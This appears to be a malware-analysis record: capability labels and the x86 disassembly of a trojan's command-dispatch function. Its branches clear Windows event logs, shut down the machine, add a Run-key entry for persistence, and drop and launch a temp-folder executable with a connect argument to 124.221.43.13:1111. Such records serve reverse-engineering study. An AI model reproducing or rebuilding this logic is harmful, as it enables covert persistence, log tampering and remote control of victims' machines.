Function at 0x10003f30
Capabilities:
Access the windows event log
Clear windows event logs
Enumerate gui resources
Get common file path
Print debug messages
Set registry value
Shutdown system
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x654
mov eax, dword [0x10024008]
xor eax, esp
mov dword [esp + 0x650], eax
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
mov dword [esp + 0x14], ebx
movzx eax, byte [esi]
mov dword [esp + 0x28], esi
mov dword [esp + 0x1b8], edi
cmp eax, 0x7c
ja case.default.0x100045f4
movzx eax, byte [eax + 0x10004b84]
jmp dword [eax*4 + 0x10004afc]
push 4
lea eax, [edi - 1]
push 0x3000
push eax
push 0
mov dword [esp + 0x38], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je case.default.0x100045f4
push dword [esp + 0x28]
lea ecx, [esi + 1]
push ecx
push edi
call fcn.1000a310
add esp, 0xc
mov dword [esp + 0x1c], edi
cmp dword [ebx + 0xfb0], 0
mov dword [esp + 0x18], 0x100028a0
push 0
push 0
push 0
push 0
jne 0x10003fd5
mov dword [esp + 0x28], 0x10002840
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x20]
push eax
push 0x10005540
push 0
push 0
call fcn.1000cc41
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0xfac]
mov dword [ebx + eax*4 + 0xc], esi
inc dword [ebx + 0xfac]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
movzx esi, byte [esi + 1]
mov edx, 1
call fcn.100059a0
push 0
push esi
call dword [sym.imp.USER32.dll_ExitWindowsEx]
xor edx, edx
call fcn.100059a0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0
push 0
mov dword [esp + 0x28], 0x10002550
mov dword [esp + 0x2c], 0
call esi
push 0
push 0
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x20]
push eax
push 0x10005540
push 0
push 0
call fcn.1000cc41
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 0x18
push 0xffffffffffffffff
push dword [esp + 0x28]
call ebx
push dword [esp + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
mov eax, dword [esp + 0x14]
push 0
push 0
push 0
mov eax, dword [eax + 4]
push 0
mov dword [esp + 0x28], 0x10002900
mov eax, dword [eax + 0x48]
mov dword [esp + 0x2c], eax
call esi
push 0
push 0
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x20]
push eax
push 0x10005540
push 0
push 0
call fcn.1000cc41
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [esp + 0x28]
call ebx
push dword [esp + 0x24]
call edi
mov ecx, dword [esp + 0x14]
push 0xa
mov eax, dword [ecx + 0xfac]
mov dword [ecx + eax*4 + 0xc], esi
inc dword [ecx + 0xfac]
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
push 4
push 0x3000
lea ebx, [edi - 2]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je case.default.0x100045f4
push ebx
lea ecx, [esi + 2]
push ecx
push edi
call fcn.1000a310
movzx ebx, byte [esi + 1]
add esp, 0xc
mov ecx, edi
call fcn.10005120
mov esi, eax
test esi, esi
je 0x100041a2
mov edx, str.PluginMe
mov ecx, esi
call fcn.10005430
push 0
push ebx
push 0x100200f7
call eax
add esp, 0xc
mov ecx, esi
call fcn.100054c0
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
push 0
push 0
lea eax, [esi + 1]
mov dword [esp + 0x20], 0x10002e30
push 0
mov dword [esp + 0x28], eax
push 0
jmp 0x10003fd5
push 0
push 0
push 0
lea eax, [esi + 1]
mov dword [esp + 0x24], 0x10002cc0
push 0
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x20]
push eax
push 0x10005540
push 0
push 0
call fcn.1000cc41
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0xfac]
push 0x64
mov dword [ebx + eax*4 + 0xc], esi
inc dword [ebx + 0xfac]
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
push 0
push 0
lea eax, [esi + 1]
mov dword [esp + 0x20], 0x10002de0
push 0
mov dword [esp + 0x28], eax
push 0
jmp 0x10003fd5
push 0x168
lea eax, [esp + 0x25c]
mov ecx, 0x5c
lea edi, [esp + 0x34]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.10008df0
add esp, 0xc
lea eax, [esp + 0x13c]
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je case.default.0x100045f4
mov ecx, dword [esp + 0x1b8]
lea eax, [esp + 0x1b0]
push 0
push eax
add ecx, 0xfffffe90
push ecx
mov ecx, dword [esp + 0x34]
add ecx, 0x170
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je case.default.0x100045f4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x38]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004310
sub ecx, edx
je 0x10004340
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x140]
push eax
lea eax, [esp + 0x260]
push str._s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x10004356
lea eax, [esp + 0x13c]
push eax
lea eax, [esp + 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x34]
sub eax, 0
je 0x100043ae
sub eax, 1
je 0x10004389
sub eax, 2
jne case.default.0x100045f4
call fcn.10002b00
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
xor edx, edx
lea ecx, [esp + 0x258]
call fcn.100030b0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
mov edx, 5
lea ecx, [esp + 0x258]
call fcn.100030b0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebx + 4]
push 0
push 0
push 0
mov dword [esp + 0x24], 0x10002a30
mov dword [esp + 0x28], eax
push 0
jmp 0x10003fd5
mov ecx, dword [0x10025854]
test ecx, ecx
je case.default.0x100045f4
mov edx, str.CloseProxy
call fcn.10005430
call eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebx + 4]
push str.kernel32.dll
mov dword [esp + 0x1b4], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push 0x10020bd8
push ebx
mov dword [esp + 0x1c], ebx
call esi
push 0x10020bf4
push ebx
mov edi, eax
call esi
push 0x10020c04
push ebx
mov dword [esp + 0x1c0], eax
call esi
push 0
push 2
mov dword [esp + 0x34], eax
call edi
mov esi, eax
test esi, esi
je 0x100044c4
lea eax, [esp + 0x258]
mov dword [esp + 0x258], 0x128
push eax
push esi
call dword [esp + 0x1c0]
test eax, eax
je 0x100044c4
mov edi, dword [esp + 0x28]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
inc edi
nop
lea eax, [esp + 0x27c]
push eax
push edi
call ebx
test eax, eax
je 0x1000450f
lea eax, [esp + 0x258]
push eax
push esi
call dword [esp + 0x34]
test eax, eax
jne 0x100044a0
mov ebx, dword [esp + 0x14]
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x100044d8
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je case.default.0x100045f4
mov ecx, dword [esp + 0x1b0]
lea eax, [esp + 0x13]
push 1
push eax
mov byte [esp + 0x1b], 0xd5
call fcn.100018b0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
mov ebx, dword [esp + 0x14]
mov edi, 1
jmp 0x100044c6
mov edi, dword [ebx + 4]
lea eax, [esi + 1]
push eax
push 0x10002e90
call dword [sym.imp.USER32.dll_EnumWindows]
cmp dword [0x10025c60], 0
je 0x1000455f
push 1
lea eax, [esp + 0x17]
mov byte [esp + 0x17], 0xd5
push eax
mov ecx, edi
call fcn.100018b0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
mov dword [0x10025c60], 0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
lea ecx, [esi + 1]
mov edx, 1
call fcn.10002f50
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
lea ecx, [esi + 1]
xor edx, edx
call fcn.10002f50
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
movzx eax, byte [esi + 1]
dec eax
mov dword [esp + 0x1a4], str.Application
mov dword [esp + 0x1a8], str.Security
mov dword [esp + 0x1ac], str.System
cmp eax, 3
ja case.default.0x100045f4
jmp dword [eax*4 + 0x10004c04]
mov dword [esp + 0x1ac], 0x100200f7
jmp 0x1000462b
mov dword [esp + 0x1a4], 0x100200f7
mov dword [esp + 0x1ac], 0x100200f7
jmp case.0x100045f4.1
mov dword [esp + 0x1a4], 0x100200f7
mov dword [esp + 0x1a8], 0x100200f7
mov ebx, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
xor esi, esi
nop
push dword [esp + esi*4 + 0x1a4]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov edi, eax
test edi, edi
je 0x10004661
push 0
push edi
call ebx
push edi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc esi
cmp esi, 3
jb 0x10004640
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebx + 4]
push 0x15d
push 0x40
mov dword [esp + 0x1b8], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
test ebx, ebx
je case.default.0x100045f4
mov byte [ebx], 0xd6
lea edi, [ebx + 1]
mov ecx, 0x57
mov esi, str.www.tianmao.com
rep movsd dword es:[edi], dword [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalSize]
mov ecx, dword [esp + 0x1b0]
push eax
push ebx
call fcn.100018b0
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
push 0x400
lea eax, [esp + 0x25c]
mov dword [esp + 0x1b4], 0x74736f48
push 0
push eax
inc esi
mov byte [esp + 0x1c0], 0
call fcn.10008df0
add esp, 0xc
mov dword [esp + 0x1a4], 0x6e69614d
lea eax, [esp + 0x1a4]
mov dword [esp + 0x1a8], 0x5c6c6c44
mov word [esp + 0x1ac], 0x7325
mov byte [esp + 0x1ae], 0
push str.MUTEX_Ovauogocz
push eax
lea eax, [esp + 0x260]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
lea eax, [esp + 0x1c0]
push eax
lea edx, [esp + 0x26c]
call fcn.10005e20
add esp, 0x14
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
push 0x400
lea eax, [esp + 0x25c]
mov dword [esp + 0x1c], 0x6e6e6f43
push 0
push eax
inc esi
mov dword [esp + 0x28], 0x47746365
mov dword [esp + 0x2c], 0x70756f72
mov byte [esp + 0x30], 0
call fcn.10008df0
add esp, 0xc
mov dword [esp + 0x1a4], 0x6e69614d
lea eax, [esp + 0x1a4]
mov dword [esp + 0x1a8], 0x5c6c6c44
mov word [esp + 0x1ac], 0x7325
mov byte [esp + 0x1ae], 0
push str.MUTEX_Ovauogocz
push eax
lea eax, [esp + 0x260]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ecx
lea eax, [esp + 0x28]
push eax
lea edx, [esp + 0x26c]
call fcn.10005e20
add esp, 0x14
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
mov dword [esp + 0x18], 0x10003350
mov eax, dword [ebx + 4]
push 0
push 0
push 0
mov eax, dword [eax + 0x48]
mov dword [esp + 0x28], eax
push 0
jmp 0x10003fd5
mov dword [esp + 0x18], 0x10003360
jmp 0x1000484d
mov dword [esp + 0x18], 0x10003490
jmp 0x1000484d
mov dword [esp + 0x18], 0x100035c0
jmp 0x1000484d
mov dword [esp + 0x18], 0x100036f0
jmp 0x1000484d
mov dword [esp + 0x18], 0x10003820
jmp 0x1000484d
mov dword [esp + 0x18], 0x10003950
jmp 0x1000484d
mov dword [esp + 0x18], 0x10003a80
jmp 0x1000484d
mov dword [esp + 0x18], 0x10003bb0
jmp 0x1000484d
mov dword [esp + 0x18], 0x10003ce0
jmp 0x1000484d
mov dword [esp + 0x18], 0x10003d70
jmp 0x1000484d
call fcn.10004d50
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
push 0x10020510
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x104
lea eax, [esp + 0x34]
push 0
push eax
call fcn.10008df0
add esp, 0xc
lea eax, [esp + 0x30]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movaps xmm0, xmmword [0x10021690]
lea eax, [esp + 0x28]
push eax
push 0xf003f
push 0
lea eax, [esp + 0x1cc]
mov dword [esp + 0x1ec], 0x6556746e
movups xmmword [esp + 0x1cc], xmm0
push eax
movaps xmm0, xmmword [0x10021680]
push closesocket
movups xmmword [esp + 0x1e4], xmm0
mov dword [esp + 0x1f8], 0x6f697372
mov dword [esp + 0x1fc], 0x75525c6e
mov word [esp + 0x200], 0x6e
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x100045f4
push 0x104
lea eax, [esp + 0x34]
push eax
push 1
push 0
lea eax, [esi + 1]
push eax
push dword [esp + 0x3c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x650]
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [esp + 0x18], 0x67756c50
mov dword [esp + 0x1c], 0x32336e69
mov dword [esp + 0x20], 0x6578652e
mov byte [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x1f8]
push eax
call fcn.100022d0
add esp, 0xc
lea eax, [esp + 0x1f0]
push eax
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je case.default.0x100045f4
lea ecx, [esi + 1]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004a50
sub ecx, edx
lea edx, [esi + 1]
lea eax, [edx + 1]
mov dword [esp + 0x1b0], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x10004a66
sub edx, dword [esp + 0x1b0]
lea eax, [esp + 0x2c]
push 0
push eax
sub edi, ecx
lea eax, [esi + 2]
sub edi, 2
add eax, edx
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.124.221.43.13
lea eax, [esp + 0x25c]
push str._connect__s:1111
push eax
call fcn.100022d0
add esp, 0xc
mov dword [esp + 0x1b8], 0x6e65706f
lea eax, [esp + 0x258]
mov byte [esp + 0x1bc], 0
push 0
push 0
push eax
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x1c8]
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [esp + 0x65c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100073c8
mov esp, ebp
pop ebp
ret 8